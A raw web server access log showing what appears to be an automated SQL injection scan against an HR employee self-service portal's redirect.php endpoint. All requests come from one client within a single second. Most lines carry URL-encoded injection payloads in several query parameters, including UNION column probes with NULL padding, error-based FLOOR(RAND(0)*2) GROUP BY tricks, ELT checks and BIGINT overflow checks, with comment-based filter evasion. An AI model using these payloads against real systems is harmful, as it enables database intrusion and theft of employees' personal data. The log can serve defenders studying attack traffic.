100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x736d6370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37756634%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FnX3o%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x736d6370%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37756634%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FnX3o%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d335343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a435a4a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6r7k%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d335343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a435a4a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6r7k%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x635a3253%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x767a5849%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fg4fo%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x635a3253%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x767a5849%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fg4fo%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4370486f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55303439%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7veX%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4370486f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55303439%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F7veX%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a376e66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65685438%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FyqZK&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a376e66%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65685438%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FyqZK&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a555932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46645872%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4a555932%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x46645872%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x6d335343%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4a435a4a%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F6r7k%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3161414a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x376d4149%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRieP%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3161414a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x376d4149%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FRieP%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56474b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x746d3369%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhTA1%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x56474b79%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x746d3369%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FhTA1%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d4b3748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5173444d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Flgb1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4d4b3748%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5173444d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Flgb1%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x39614d4c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c5a4176%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29--%2F%2A%2A%2Fl7YF&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67695a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e566b59%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F172j&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x67695a70%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e566b59%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2F172j&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65667669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a365138%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbXbt%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65667669%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a365138%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FbXbt%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x73734b7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58565963%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FuMoq&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x73734b7a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58565963%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2FuMoq&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67427167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33526a4a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F9fp1&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:27 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x67427167%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33526a4a%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F9fp1&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
